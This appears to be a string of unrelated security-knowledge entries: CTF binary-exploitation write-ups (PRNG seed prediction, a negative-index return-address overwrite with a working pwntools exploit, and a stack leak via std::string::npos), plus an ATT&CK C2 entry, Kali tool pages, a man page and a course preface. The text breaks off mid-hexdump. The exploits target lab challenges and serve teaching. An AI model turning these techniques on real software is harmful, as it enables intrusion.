# seed-sPRiNG Binary Exploitation, 350 points ## Description: > The most revolutionary game is finally available: seed sPRiNG is open right now! ## Solution: Let's start by running the program: ```console root@kali:/media/sf_CTFs/pico/seed-sPRiNG# ./seed_spring # mmmmm mmmmm " mm m mmm mmm mmm mmm mmm# mmm # "# # "# mmm #"m # m" " # " #" # #" # #" "# # " #mmm#" #mmmm" # # #m # # mm """m #"""" #"""" # # """m # # "m # # # # # # "mmm" "#mm" "#mm" "#m## "mmm" # # " mm#mm # ## "mmm" Welcome! The game is easy: you jump on a sPRiNG. How high will you fly? LEVEL (1/30) Guess the height: 1 WRONG! Sorry, better luck next time! ``` We need to guess a number chosen by the program - but if we guess incorrectly, we get thrown. In order to receive the flag, we must guess 30 values. The Ghidra decompiler shows us the following output: ```c undefined4 main(undefined1 param_1) { uint local_20; uint local_1c; uint local_18; int local_14; undefined1 *local_10; local_10 = &param_1; puts(""); puts(""); puts(" "); puts(" # mmmmm mmmmm \" mm m mmm "); puts(" mmm mmm mmm mmm# mmm # \"# # \"# mmm #\"m # m\" \""); puts(" # \" #\" # #\" # #\" \"# # \" #mmm#\" #mmmm\" # # #m # # mm"); puts( " \"\"\"m #\"\"\"\" #\"\"\"\" # # \"\"\"m # # \"m # # # # # #" ); puts(" \"mmm\" \"#mm\" \"#mm\" \"#m## \"mmm\" # # \" mm#mm # ## \"mmm\""); puts(" "); puts(""); puts(""); puts("Welcome! The game is easy: you jump on a sPRiNG."); puts("How high will you fly?"); puts(""); fflush(stdout); local_18 = time((time_t *)0x0); srand(local_18); local_14 = 1; while( true ) { if (0x1e < local_14) { puts("Congratulation! You\'ve won! Here is your flag:\n"); get_flag(); fflush(stdout); return 0; } printf("LEVEL (%d/30)\n",local_14); puts(""); local_1c = rand(); local_1c = local_1c & 0xf; printf("Guess the height: "); fflush(stdout); __isoc99_scanf(&DAT_00010c9a,&local_20); fflush(stdin); if (local_1c != local_20) break; local_14 = local_14 + 1; } puts("WRONG! Sorry, better luck next time!"); fflush(stdout); /* WARNING: Subroutine does not return */ exit(-1); } ``` It looks like the program calls `srand` providing a seed which is basically the current time. All the values returned by `rand()` throughout the program are based on this seed, and if we enter the same seed we will receive the same values. So, all we need to do is create another program which calls `srand(time(0))` at the same time, allowing us to feed the output of our program to `seed_spring`. ```c #include <stdio.h> #include <time.h> #include <stdlib.h> int main () { int i; srand(time(0)); for (i = 0; i < 30; i++) { printf("%d\n", rand() & 0xf); } return 0; } ``` Note that we need to run this on the server in order to receive the same time the program does. Output: ```console dvdalt@pico-2019-shell1:~$ ./solve | nc 2019shell1.picoctf.com 12269 # mmmmm mmmmm " mm m mmm mmm mmm mmm mmm# mmm # "# # "# mmm #"m # m" " # " #" # #" # #" "# # " #mmm#" #mmmm" # # #m # # mm """m #"""" #"""" # # """m # # "m # # # # # # "mmm" "#mm" "#mm" "#m## "mmm" # # " mm#mm # ## "mmm" Welcome! The game is easy: you jump on a sPRiNG. How high will you fly? LEVEL (1/30) Guess the height: LEVEL (2/30) Guess the height: LEVEL (3/30) Guess the height: LEVEL (4/30) Guess the height: LEVEL (5/30) Guess the height: LEVEL (6/30) Guess the height: LEVEL (7/30) Guess the height: LEVEL (8/30) Guess the height: LEVEL (9/30) Guess the height: LEVEL (10/30) Guess the height: LEVEL (11/30) Guess the height: LEVEL (12/30) Guess the height: LEVEL (13/30) Guess the height: LEVEL (14/30) Guess the height: LEVEL (15/30) Guess the height: LEVEL (16/30) Guess the height: LEVEL (17/30) Guess the height: LEVEL (18/30) Guess the height: LEVEL (19/30) Guess the height: LEVEL (20/30) Guess the height: LEVEL (21/30) Guess the height: LEVEL (22/30) Guess the height: LEVEL (23/30) Guess the height: LEVEL (24/30) Guess the height: LEVEL (25/30) Guess the height: LEVEL (26/30) Guess the height: LEVEL (27/30) Guess the height: LEVEL (28/30) Guess the height: LEVEL (29/30) Guess the height: LEVEL (30/30) Guess the height: picoCTF{pseudo_random_number_generator_not_so_random_66aacad47c332de30eb8d8170d96b772}Congratulation! You've won! Here is your flag: ```
sec-knowleage
# L1im1tL355 Binary Exploitation, 400 points ## Description: > Just pwn this program and get a flag. ```c #include <stdlib.h> #include <stdio.h> #include <string.h> #define FLAG_BUFFER 128 void win() { char buf[FLAG_BUFFER]; FILE *f = fopen("flag.txt","r"); fgets(buf,FLAG_BUFFER,f); puts(buf); fflush(stdout); } void replaceIntegerInArrayAtIndex(unsigned int *array, int index, int value) { array[index] = value; } int main(int argc, char *argv[]) { int index; int value; int array[666]; puts("Input the integer value you want to put in the array\n"); scanf("%d",&value); fgetc(stdin); puts("Input the index in which you want to put the value\n"); scanf("%d",&index); replaceIntegerInArrayAtIndex(array,index,value); exit(0); } ``` ## Solution: This program declares an array on the stack, then allows us to write a DWORD to any array index. If we choose an index between 0 and 666/4, we'll end up writing to the array. However, the program does not check that we enter a legal index, and the index we request to write to can be larger than 666/4 or smaller than 0. Since the array is on the stack, the easiest way to exploit this is to provide a negative index and overwrite the function return address. In our case, we need to provide a value of `-5` (found using trial and error). The program will execute `array[-5] = value` which is equivalent to `*(int*)(array + ( (-5)*sizeof(int) ) ) = value`. We'll provide the `value` of `win()`, which will print the flag. ```python # First, generate a pwntools template using: # pwn template --host 2019shell1.picoctf.com --user dvdalt --path /problems/l1im1tl355_4_b2111fe5737c985221bac06a80d6d6c7/vuln #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: i386-32-little # RELRO: Partial RELRO # Stack: No canary found # NX: NX enabled # PIE: No PIE (0x8048000) import os if shell is not None: shell.set_working_directory(os.path.dirname(remote_path)) io = start() io.sendlineafter("Input the integer value you want to put in the array", str(exe.symbols["win"])) io.sendlineafter("Input the index in which you want to put the value", str(-5)) print io.recvall() ``` Output: ```console root@kali:/media/sf_CTFs/pico/L1im1tL355# python exploit.py [*] '/media/sf_CTFs/pico/L1im1tL355/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Connecting to 2019shell1.picoctf.com on port 22: Done [*] dvdalt@2019shell1.picoctf.com: Distro Ubuntu 18.04 OS: linux Arch: amd64 Version: 4.15.0 ASLR: Enabled [+] Opening new channel: 'pwd': Done [+] Receiving all data: Done (13B) [*] Closed SSH channel with 2019shell1.picoctf.com [*] Working directory: '/tmp/tmp.6XNY7d0Y0s' [+] Opening new channel: 'ln -s /home/dvdalt/* .': Done [+] Receiving all data: Done (0B) [*] Closed SSH channel with 2019shell1.picoctf.com [*] Working directory: '/problems/l1im1tl355_4_b2111fe5737c985221bac06a80d6d6c7' [+] Starting remote process '/problems/l1im1tl355_4_b2111fe5737c985221bac06a80d6d6c7/vuln' on 2019shell1.picoctf.com: pid 1343635 [+] Receiving all data: Done (34B) [*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1343635) picoCTF{str1nG_CH3353_5243a217} ```
sec-knowleage
# T1095-非应用层协议 ## 来自ATT&CK描述 攻击者可能使用非应用层协议在主机和C2服务器之间或网络中受感染的主机之间进行通信。存在可能被利用的协议列表很广泛。具体示例包括使用网络层协议,例如互联网控制消息协议 (ICMP),传输层协议,例如用户数据报协议 (UDP),会话层协议,例如安全套接字 (SOCKS),以及重定向/隧道协议,例如LAN上串行 (SOL)。 主机之间的ICMP通信就是一个示例。因为ICMP是Internet Protocol Suite的一部分,所以要求所有IP兼容的主机都实现它;然而,它不像TCP或UDP等其他Internet协议那样受到普遍监控,并且可能被攻击者用来隐藏通信。 ## 检测 分析ICMP消息或其他协议的网络流量,这些协议包含异常数据或通常在网络内或网络外看不到的数据。 分析不常见数据流的网络数据(例如,客户端发送的数据明显多于从服务器接收的数据)。使用通常没有网络通信或以前从未见过的网络的进程是可疑的。分析数据包内容以检测不遵循正在使用的端口的预期协议行为的通信 监控和调查与启用或利用替代通信渠道相关的函数的API调用。 ## 参考推荐 MITRE-ATT&CK-T1095 <https://attack.mitre.org/techniques/T1095>
sec-knowleage
# Wireshark软件包描述 Wireshark是世界上首屈一指的网络协议分析器,它可以让您在微观层面看到网络上发生的情况,事实上(常常是法律上)它是许多行业和教育机构的标准工具。感谢全球网络专家的贡献,Wireshark蓬勃发展。它是1998年开始的一个项目的延续。 Wireshark具有丰富的功能集,包括以下内容: - 深入检查数百种协议,并且还一直在加入更多的内容 - 实时捕获和离线分析 - 标准的三窗格数据包浏览器 - 支持多平台:可以运行于Windows、Linux、OS X、Solaris、FreeBSD、NetBSD等系统 - 捕获的网络数据可以通过GUI或终端模式的TShark工具浏览 - 业界最强大的显示过滤器 - 丰富的VoIP分析 - 使用gzip压缩的捕获文件可以迅速解压缩 - 实时数据可以从以太网、IEEE 802.11、PPP/HDLC、ATM、蓝牙、USB、令牌环、帧中继、FDDI等(根据您的平台)读取, - 着色规则可以应用于分组列表,以进行快速、直观的分析 - 输出可以导出为XML、PostScript®、CSV或纯文本 - 许多协议的解密支持,包括IPsec、ISAKMP、Kerberos、SNMPv3、SSL/TLS、WEP和WPA/WPA2 - 读/写许多不同格式的捕获文件:tcpdump(libpcap)、Pcap NG、Catapult DCT2000、Cisco Secure IDS iplog、Microsoft网络监视器、Network General Sniffer®(压缩和未压缩)、Sniffer®Pro,以及NetXray®、Network Instruments Observer、NetScreen snoop、Novell LANalyzer、RADCOM WAN/LAN Analyzer、Shomiti/Finisar Surveyor、Tektronix K12xx、Visual Networks Visual UpTime、WildPackets EtherPeek/TokenPeek/AiroPeek,等等 资料来源:http://www.wireshark.org/about.html [Wireshark主页](http://www.wireshark.org/)| [Kali Wireshark资源](http://git.kali.org/gitweb/?p=packages/wireshark.git;a=summary) - 作者:Gerald Combs和贡献者 - 许可证:GPLv2 ## Wireshark包含的工具 ### wireshark - 网络流量分析器 - GTK+版本 ``` root@kali:~# wireshark -h Wireshark 1.10.2 (SVN Rev 51934 from /trunk-1.10) Interactively dump and analyze network traffic. See http://www.wireshark.org for more information. Copyright 1998-2013 Gerald Combs <gerald@wireshark.org> and contributors. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 用法:wireshark [options] ... [<infile>] 捕获接口: -i <interface> 接口的名称或序号(默认:第一个非loopback接口) -f <capture filter> libpcap语法格式的包过滤器 -s <snaplen> 数据包快照长度(默认:65535) -p 不在混杂模式下捕获 -k 立即开始捕获(默认:不捕获) -S 当有新数据包被捕获时,更新数据包显示 -l 当使用-S选项时打开自动滚动 -I 如果可用,在监听模式下捕获 -B <buffer size> 内核缓冲区大小(默认:2MB) -y <link type> 链接层类型(默认:第一个适当的类型) -D 打印接口列表并退出 -L 打印接口的链接层类型列表并退出 捕获停止条件: -c <packet count> 在n个包之后停止(默认:无限制) -a <autostop cond.> ... duration:NUM - NUM秒后停止 filesize:NUM - 在NUM KB后停止此文件 files:NUM - NUM个文件后停止 捕获输出: -b <ringbuffer opt> ... duration:NUM - NUM秒后切换到下一个文件 filesize:NUM - 在NUM KB后切换到下一个文件 files:NUM - ringbuffer:NUM个文件后替换 输入文件: -r <infile> 设置读取的文件名(不支持管道或标准输入!) 处理: -R <read filter> Wireshark语法格式的包过滤器 -n 禁用所有名称解析(默认:全部启用) -N <name resolve flags> 启用特定的名称解析:“mntC” 用户界面: -C <config profile> 用指定的配置文件启动 -Y <display filter> 用给定的显示过滤器启动 -g <packet number> 在“-r”之后转到指定的包号 -J <jump filter> 跳转到第一个匹配(显示)过滤器的数据包 -j 在“-J”之后向后搜索匹配的包 -m <font> 设置大多数文字使用的字体名称 -t a|ad|d|dd|e|r|u|ud 时间戳的输出格式(默认:r:相对首个包的时间) -u s|hms 秒的输出格式(默认:s:秒) -X <key>:<value> 扩展选项,详见手册页 -z <statistics> 显示各种统计信息,详见手册页 输出: -w <outfile|-> 设置输出文件名(或'-'代表标准输出) 杂项: -h 显示此帮助并退出 -v 显示版本信息并退出 -P <key>:<path> persconf:path - 个人配置文件 persdata:path - 个人数据文件 -o <name>:<value> ...覆盖首选项或最近的设置 -K <keytab> 用于kerberos解密的keytab文件 --display=DISPLAY 使用的X display ``` ### tshark - 网络流量分析器 - 控制台版本 ``` root@kali:~# tshark -h TShark 1.10.2 (SVN Rev 51934 from /trunk-1.10) Dump and analyze network traffic. See http://www.wireshark.org for more information. Copyright 1998-2013 Gerald Combs <gerald@wireshark.org> and contributors. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 用法:tshark [options] ... 捕获界面: -i <interface> 接口的名称或序号(默认:第一个非loopback接口) -f <capture filter> libpcap语法格式的包过滤器 -s <snaplen> 数据包快照长度(默认:65535) -p 不在混杂模式下捕获 -I 如果可用,在监听模式下捕获 -B <buffer size> 内核缓冲区大小(默认:2MB) -y <link type> 链接层类型(默认:第一个适当的类型) -D 打印接口列表并退出 -L 打印接口的链接层类型列表并退出 捕获停止条件: -c <packet count> 在n个包之后停止(默认:无限制) -a <autostop cond.> ... duration:NUM - NUM秒后停止 filesize:NUM - 在NUM KB后停止此文件 files:NUM - NUM个文件后停止 捕获输出: -b <ringbuffer opt> ... duration:NUM - NUM秒后切换到下一个文件 filesize:NUM - 在NUM KB后切换到下一个文件 files:NUM - ringbuffer:NUM个文件后替换 输入文件: -r <infile> 设置读取的文件名(不支持管道或标准输入!) 处理: -2 进行两阶段分析 -R <read filter> Wireshark语法格式的包过滤器 -Y <display filter> Wireshark语法格式的包显示过滤器 -n 禁用所有名称解析(默认:全部启用) -N <name resolve flags> 启用特定的名称解析:“mntC” -d <layer_type> == <selector>,<decode_as_protocol> ... “Decode AS”,详见手册页 示例:tcp.port == 8888,http -H <hosts file> 从hosts文件读取条目列表,然后写入捕获文件。(隐含-W n选项) 输出: -w <outfile|-> 数据包写入pcap格式的文件“outfile”(或'-'代表标准输出) -C <config profile> 用指定的配置文件启动 -F <output file type> 设置输出文件类型,默认为pcapng 一个空的“-F”选项将列出文件类型 -V 添加输出到数据包树(包详细信息) -O <protocols> 只显示这些协议的数据包详细信息,协议用逗号分隔 -P 即使写入文件也打印数据包摘要 -S <separator> 数据包之间打印的行分隔符 -x 添加十六进制和ASCII转储输出(数据包字节) -T pdml|ps|psml|text|fields 文本输出格式(默认:文本) -e <field> 指定打印字段,如果设置了-Tfields选项(例如tcp.port、col.Info); 可以重复此选项以打印多个字段 -E<fieldsoption>=<value> 设置输出选项,如果选择了-Tfields: header=y|n 切换是否输出首部 separator=/t|/s|<char> 选择跳格键、空格、可打印字符作为分隔符 occurrence=f|l|a 打印每个字段的第一个、最后一个或所有的出现 aggregator=,|/s|<char> 选择逗号、空格、可打印字符作为聚合符 quote=d|s|n 选择双引号、单引号、无引号值 -t a|ad|d|dd|e|r|u|ud 时间戳的输出格式(默认:r:相对首个包的时间) -u s|hms 秒的输出格式(默认:s:秒) -l 每个数据包后刷新标准输出 -q 静默标准输出(例如统计信息时) -Q 只输出错误信息(比-q更安静) -g 启用输出文件的用户组读权限 -W n 如果支持,在文件中保存额外的信息。 n=写入网络地址解析信息 -X <key>:<value> 扩展选项,详见手册页 -z <statistics> 显示各种统计信息,详见手册页 杂项: -h 显示此帮助并退出 -v 显示版本信息并退出 -o <name>:<value> ...覆盖首选项设置 -G [report] 转储几个可用报告之一并退出 默认report="fields" 用"-G ?"获取更多帮助 ``` ## tshark使用示例 ``` root@kali:~# tshark -f "tcp port 80" -i eth0 ``` ## wireshark使用示例 ``` root@kali:~# wireshark ``` ![Image](http://tools.kali.org/wp-content/uploads/2014/02/wireshark.png) 原文链接:[http://tools.kali.org/information-gathering/wireshark](http://tools.kali.org/information-gathering/wireshark)
sec-knowleage
'\" t .TH "NSS\-RESOLVE" "8" "" "systemd 231" "nss-resolve" .\" ----------------------------------------------------------------- .\" * Define some portability stuff .\" ----------------------------------------------------------------- .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .\" http://bugs.debian.org/507673 .\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .ie \n(.g .ds Aq \(aq .el .ds Aq ' .\" ----------------------------------------------------------------- .\" * set default formatting .\" ----------------------------------------------------------------- .\" disable hyphenation .nh .\" disable justification (adjust text to left margin only) .ad l .\" ----------------------------------------------------------------- .\" * MAIN CONTENT STARTS HERE * .\" ----------------------------------------------------------------- .SH "NAME" nss-resolve, libnss_resolve.so.2 \- 通过 systemd\-resolved\&.service 提供主机名解析功能 .SH "SYNOPSIS" .PP libnss_resolve\&.so\&.2 .SH "描述" .PP \fBnss\-resolve\fR 是一个 \fBglibc\fR(GNU C Library) NSS(Name Service Switch) 插件, 它通过 \fBsystemd-resolved.service\fR(8) 服务 提供了主机名解析功能,并替换了传统的 \fBnss\-dns\fR 插件(通过DNS解析主机名)。 .PP 要激活NSS模块,可将 "resolve" 添加到 /etc/nsswitch\&.conf 文件中以 "hosts:" 开头的行里面。 .PP 建议将 "resolve" 放置在 /etc/nsswitch\&.conf 文件中以 "hosts:" 开头的行里面比较靠前的位置(仅在 "files" 与 "mymachines" 之后), 并且删除 "dns" 项(若存在),以确保将DNS查询工作交给 \fBsystemd\-resolved\fR 执行。 .PP 注意,如果 systemd\-resolved\&.service 未运行, \fBnss\-resolve\fR 将会链式加载 \fBnss\-dns\fR 以确保基本的DNS解析 可以正常工作。 .SH "例子" .PP 下面是一个正确开启了 \fBnss\-resolve\fR 插件的 /etc/nsswitch\&.conf 文件的例子: .sp .if n \{\ .RS 4 .\} .nf passwd: compat mymachines group: compat mymachines shadow: compat hosts: files mymachines \fBresolve\fR myhostname networks: files protocols: db files services: db files ethers: db files rpc: db files netgroup: nis .fi .if n \{\ .RE .\} .SH "参见" .PP \fBsystemd\fR(1), \fBsystemd-resolved.service\fR(8), \fBnss-mymachines\fR(8), \fBnss-myhostname\fR(8), \fBnsswitch.conf\fR(5) .\" manpages-zh translator: 金步国 .\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
sec-knowleage
--- title: Firewalk categories: Information Gathering tags: [information gathering,recon,kali linux,firewalk] date: 2016-10-24 13:52:51 --- 0x00 Firewalk介绍 ------------- Firewalk是一个主动的侦察网络安全工具,试图确定给定的IP转发设备将通过哪些第4层协议。Firewalk通过发送具有比目标网关更大的TTL的TCP或UDP数据包来工作。如果网关允许流量,则它将将分组转发到它们将到期的下一跳,并且引出ICMP_TIME_EXCEEDED消息。如果网关主机不允许流量,它可能会丢弃在那层上的数据包,我们将看不到响应。 要获得正确的IP TTL,将导致过期的数据包超出网关,我们需要增加跳数。我们以跟踪traceroute工作的同样方式做,一旦我们有网关跳转计数(在那一点扫描被称为“绑定”),我们可以开始我们的扫描。 重要的是注意到不必达到最终目的地主机的事实,它只需要在扫描主机的网关的下游。 更多介绍:[Firewalk:高级路由跟踪工具(Linux)][1] 工具来源:http://packetfactory.openwall.net/projects/firewalk/ [Firewalk主页][2] | [Kali Firewalk Repo仓库][3] - 作者:Mike D. Schiffman, David Goldsmith - 证书:BSD 0x01 Firewalk功能 --------------- ```shell root@kali:~# firewalk -h Firewalk 5.0 [gateway ACL scanner] 用法:firewalk [options] target_gateway metric             [-d 0-65535] 要使用的目标端口(斜坡阶段)             [-h] 程序帮助             [-i device] 接口             [-n] 不会将IP地址解析到主机名中             [-p TCP|UDP] 协议             [-r] 严格遵守RFC             [-S x-y,z] 端口范围进行扫描             [-s 0-65535] 源端口             [-T 1-1000] 数据包读取超时(以毫秒为单位)             [-t 1-25] IP生存时间             [-v] 程序版本             [-x 1-8] 预期向量 ``` 0x02 Firewalk用法示例 ----------------- ```shell root@kali:~# firewalk -S 8079-8081 -i eth0 -n -p TCP 192.168.1.1 192.168.0.1 Firewalk 5.0 [gateway ACL scanner] Firewalk state initialization completed successfully. TCP-based scan. Ramping phase source port: 53, destination port: 33434 Hotfoot through 192.168.1.1 using 192.168.0.1 as a metric. Ramping Phase: 1 (TTL 1): expired [192.168.1.1] Binding host reached. Scan bound at 2 hops. Scanning Phase: port 8079: *no response* port 8080: A! open (port not listen) [192.168.0.1] port 8081: *no response* Scan completed successfully. Total packets sent: 4 Total packet errors: 0 Total packets caught 2 Total packets caught of interest 2 Total ports scanned 3 Total ports open: 1 Total ports unknown: 0 ``` 0x02 提示 ----------------- 新版Kali已移除Firewalk,如果你需要安装Firewalk可以使用以下命令: ```shell root@kali:~# apt-get update root@kali:~# apt-get install firewalk ``` [1]: http://www.enet.com.cn/article/2011/0411/A20110411847512.shtml [2]: http://packetfactory.openwall.net/projects/firewalk/ [3]: http://git.kali.org/gitweb/?p=packages/firewalk.git;a=summary
sec-knowleage
------- # 非常遗憾,停止更新。愿每一个安全从业者静有所思。----2019.3.7 ------- ### 为什么要写 Micro8 系列 渗透攻击超十年,由于年龄,身体原因,自己感觉快要退出一线渗透攻击了。遂打算把毕生所学用文字表写出来。因为文章涉及到敏感的攻击行为,所以好多需要打马赛克,或者是本地以 demo 的形式表现出来。当这个行业做久了,你也终有一天发现原来事物的本质是如此重要。比如内网渗透的本质是信息搜集。当年某大佬把这条经验传递给我,同样,今天变成老家伙的我,也希望把这条经验传递下去。 所有课程从基础开始(包括工具的介绍,应用等,由于是基础开始,部分内容可能会涉及初级知识点,请见谅),这样以后新来的同事或者想要自我从头学习的同事也可以避开一些弯路,在写的过程中,我深深体会到分享者才是学习中的最大受益者,由于需要成文章,所以需要查阅大量的资料。在整个过程中,又学习到很多知识点。连载其中包括穿插在工作中的项目心得笔记,包括但不限制于代码审计,web渗透,内网渗透,域渗透,隧道介绍,日志溯源与暴力溯源等。如果有课程指定需求介绍相关技术的同事(在我技术能力范围之内),请发我的邮箱:micropoor@gmail.com。在 2010-2012 年之间一直在写 < PHP安全新闻早8点 >,但是由于当时的工作原因,就不在写了。这次的所有课程免费分享,只希望自己可以在本来已封闭的技术氛围里,依然做出一些技术文档输出。那么这次的教程我想依然想叫 < PHP安全新闻早8点 > ,笔者相信有一天,你会发现原来弄清事物的本质是这样的有趣。 ### 读者及对象 Micro8 系列适用于初中级安全从业人员,乙方安全测试,甲方安全自检,网络安全爱好者等,企业安全防护与提高。 ### 声明 渗透测试/APT模拟攻击,是一把双刃剑,该系列遵守:免费,自由,共享,开源。请勿触犯法律,如触犯与本作者无关。当下载/传播/学习等便视为同意该条例。愿读者学有所成,问有所得,静有所思,而私有所惘。 由于开启了open投稿(支持所有人投稿加入该系列),第三方投稿如有广告/隐藏广告/小密圈/等一切收费为主的行为,请勿相信。 ### 勘误及支持 文中难免出现笔误或者不对的地方,请大家多多包涵,提前向各位说声对不起。由于 Gitbook 正在逐步完善中,为此带来的不便请您谅解!对于存在的问题,无论是内容上的不足亦或是项目的不足,欢迎大家提交 Issues。项目地址: https://github.com/micro8/Micro8-HTML ### 致谢 如需指定技术诉求,也请提交 Issue(地址如上),方便在未来更新的课时中加入。再次感谢所有读者!
sec-knowleage
# stringmaster1 PWN ## Description: > Eat, sleep, swap, replace ```c++ #include <iostream> #include <cstdlib> #include <ctime> #include <vector> #include <unistd.h> #include <limits> using namespace std; const string chars = "abcdefghijklmnopqrstuvwxy"; void spawn_shell() { char* args[] = {(char*)"/bin/bash", NULL}; execve("/bin/bash", args, NULL); } void print_menu() { cout << endl; cout << "Enter the command you want to execute:" << endl; cout << "[1] swap <index1> <index2> (Cost: 1)" << endl; cout << "[2] replace <char1> <char2> (Cost: 1)" << endl; cout << "[3] print (Cost: 1)" << endl; cout << "[4] quit " << endl; cout << "> "; } void play() { string from(10, '\00'); string to(10, '\00'); for (int i = 0; i < 10; ++i) { from[i] = chars[rand() % (chars.length() - 1)]; to[i] = chars[rand() % (chars.length() - 1)]; } cout << "Perform the following operations on String1 to generate String2 with minimum costs." << endl << endl; cout << "[1] swap <index1> <index2> (Cost: 1)" << endl; cout << " Swaps the char at index1 with the char at index2 " << endl; cout << "[2] replace <char1> <char2> (Cost: 1)" << endl; cout << " Replaces the first occurence of char1 with char2 " << endl; cout << "[3] print (Cost: 1)" << endl; cout << " Prints the current version of the string " << endl; cout << "[4] quit " << endl; cout << " Give up and leave the game " << endl; cout << endl; cout << "String1: " << from << endl; cout << "String2: " << to << endl; cout << endl; unsigned int costs = 0; string s(from); while (true) { print_menu(); string command; cin >> command; if (command == "swap") { unsigned int i1, i2; cin >> i1 >> i2; if (cin.good() && i1 < s.length() && i2 < s.length()) { swap(s[i1], s[i2]); } costs += 1; } else if (command == "replace") { char c1, c2; cin >> c1 >> c2; auto index = s.find(c1); cout << c1 << c2 << index << endl; if (index >= 0) { s[index] = c2; } costs += 1; } else if (command == "print") { cout << s << endl; costs += 1; } else if (command == "quit") { cout << "You lost." << endl; break; } else { cout << "Invalid command" << endl; } if (!cin) { cin.clear(); cin.ignore(numeric_limits<streamsize>::max(), '\n'); } if (!cout) { cout.clear(); } if (s == to) { cout << s.length() << endl; cout << endl; cout << "****************************************" << endl; cout << "* Congratulations " << endl; cout << "* You solved the problem with cost: " << costs << endl; cout << "****************************************" << endl; cout << endl; break; } } } int main() { srand(time(nullptr)); play(); } ``` A binary file was attached as well. ## Solution: Let's see what the program does: ``` root@kali:/media/sf_CTFs/35c3ctf/stringmaster1# ./stringmaster1 Perform the following operations on String1 to generate String2 with minimum costs. [1] swap <index1> <index2> (Cost: 1) Swaps the char at index1 with the char at index2 [2] replace <char1> <char2> (Cost: 1) Replaces the first occurence of char1 with char2 [3] print (Cost: 1) Prints the current version of the string [4] quit Give up and leave the game String1: pemgklfswr String2: cpkscqhfsk Enter the command you want to execute: [1] swap <index1> <index2> (Cost: 1) [2] replace <char1> <char2> (Cost: 1) [3] print (Cost: 1) [4] quit ``` After playing around a bit, I tried replacing a letter which isn't present in the string: ``` String1: cxreaxqrqc String2: auvvlvepeo Enter the command you want to execute: [1] swap <index1> <index2> (Cost: 1) [2] replace <char1> <char2> (Cost: 1) [3] print (Cost: 1) [4] quit > replace c d cd0 Enter the command you want to execute: [1] swap <index1> <index2> (Cost: 1) [2] replace <char1> <char2> (Cost: 1) [3] print (Cost: 1) [4] quit > replace x z xz1 Enter the command you want to execute: [1] swap <index1> <index2> (Cost: 1) [2] replace <char1> <char2> (Cost: 1) [3] print (Cost: 1) [4] quit > print dzreaxqrqc Enter the command you want to execute: [1] swap <index1> <index2> (Cost: 1) [2] replace <char1> <char2> (Cost: 1) [3] print (Cost: 1) [4] quit > replace v m vm18446744073709551615 ``` Instead of printing the index which was replaced, the program printed 18446744073709551615, which is UINT64_MAX (and also `std::string::npos`, which is returned by `std::string::find` if no matches were found when searching for the first occurrence of a character): ```c++ auto index = s.find(c1); cout << c1 << c2 << index << endl; if (index >= 0) { s[index] = c2; } ``` Furthermore, when calling `print` at this state, the program prints much more information than earlier: ``` > print dzreaxqrqc ) auvvlvepeo 0) cxreaxqrqc  $@ @ `* m$@ {| * h* y.| S$@ :PQ@ `* ::~a O O MO iO O O ! p     d    i,   O Xx86_64 ``` Can this be the stack? Let's take a look at the hex output of such a sequence: ``` 00000000 63 78 63 67 64 62 74 69 76 67 00 00 00 00 00 00 │cxcg│dbti│vg··│····│ 00000010 20 94 2c 57 fe 7f 00 00 0a 00 00 00 00 00 00 00 │ ·,W│····│····│····│ 00000020 6f 64 65 78 62 61 6f 67 63 64 00 00 00 00 00 00 │odex│baog│cd··│····│ 00000030 40 94 2c 57 fe 7f 00 00 0a 00 00 00 00 00 00 00 │@·,W│····│····│····│ 00000040 63 78 63 67 64 62 74 69 76 67 00 00 00 00 00 00 │cxcg│dbti│vg··│····│ 00000050 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000060 e0 24 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 │·$@·│····│··@·│····│ 00000070 70 95 2c 57 fe 7f 00 00 00 00 00 00 00 00 00 00 │p·,W│····│····│····│ 00000080 00 00 00 00 00 00 00 00 6d 24 40 00 00 00 00 00 │····│····│m$@·│····│ 00000090 00 00 00 00 00 00 00 00 17 7b bd ed 8b 7f 00 00 │····│····│·{··│····│ 000000a0 88 95 2c 57 fe 7f 00 00 78 95 2c 57 fe 7f 00 00 │··,W│····│x·,W│····│ 000000b0 b0 79 e4 ed 01 00 00 00 53 24 40 00 00 00 00 00 │·y··│····│S$@·│····│ 000000c0 00 00 00 00 00 00 00 00 c7 78 5f 4e c0 30 b5 12 │····│····│·x_N│·0··│ 000000d0 c0 10 40 00 00 00 00 00 70 95 2c 57 fe 7f 00 00 │··@·│····│p·,W│····│ 000000e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 000000f0 c7 78 df 2e 19 9e 49 ed c7 78 01 f2 3a eb a2 ed │·x·.│··I·│·x··│:···│ 00000100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000110 00 00 00 00 00 00 00 00 88 95 2c 57 fe 7f 00 00 │····│····│··,W│····│ 00000120 70 f1 f4 ed 8b 7f 00 00 d6 51 f3 ed 8b 7f 00 00 │p···│····│·Q··│····│ 00000130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000140 00 00 00 00 00 00 00 00 c0 10 40 00 00 00 00 00 │····│····│··@·│····│ 00000150 70 95 2c 57 fe 7f 00 00 ea 10 40 00 00 00 00 00 │p·,W│····│··@·│····│ 00000160 68 95 2c 57 fe 7f 00 00 1c 00 00 00 00 00 00 00 │h·,W│····│····│····│ 00000170 01 00 00 00 00 00 00 00 fd a7 2c 57 fe 7f 00 00 │····│····│··,W│····│ 00000180 00 00 00 00 00 00 00 00 0d a8 2c 57 fe 7f 00 00 │····│····│··,W│····│ 00000190 18 a8 2c 57 